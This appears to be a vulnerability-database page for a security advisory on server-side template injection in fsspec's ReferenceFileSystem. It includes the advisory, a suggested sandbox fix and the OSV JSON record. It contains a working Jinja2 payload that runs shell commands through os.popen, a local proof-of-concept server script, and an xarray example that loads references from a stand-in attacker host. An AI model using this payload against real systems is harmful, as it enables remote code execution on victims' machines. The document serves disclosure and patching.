BREW-PYTORCH-CVE-2026-104851 (GHSA-27VJ-QCQG-25RC)

Vulnerability from osv_homebrew – Published: 2026-10-06 10:31 – Updated: 2026-10-06 10:31 – Source website
VLAI
Summary
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.open_dataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

# Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed

Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]

End-to-end via xarray (real-world consumer pathway)

import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)
# RCE fires before any data is materialised.

Tested on

  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with _sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (__class__, __init__.__globals__, __subclasses__, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "fsspec",
        "resource_purl": "pkg:pypi/fsspec@2026.7.0",
        "upstream_fixed_in": "2026.6.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pytorch",
        "purl": "pkg:brew/pytorch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fsspec@2026.7.0",
        "name": "fsspec",
        "resource": "fsspec",
        "strategy": "registry",
        "subject_version": "2026.7.0"
      }
    ]
  },
  "details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # \u003c- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # \u003c- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": \"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
  "id": "BREW-pytorch-CVE-2026-104851",
  "modified": "2026-10-06T10:31:55Z",
  "published": "2026-10-06T10:31:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2029"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fsspec/filesystem_spec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution",
  "upstream": [
    "GHSA-27vj-qcqg-25rc",
    "CVE-2026-104851"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.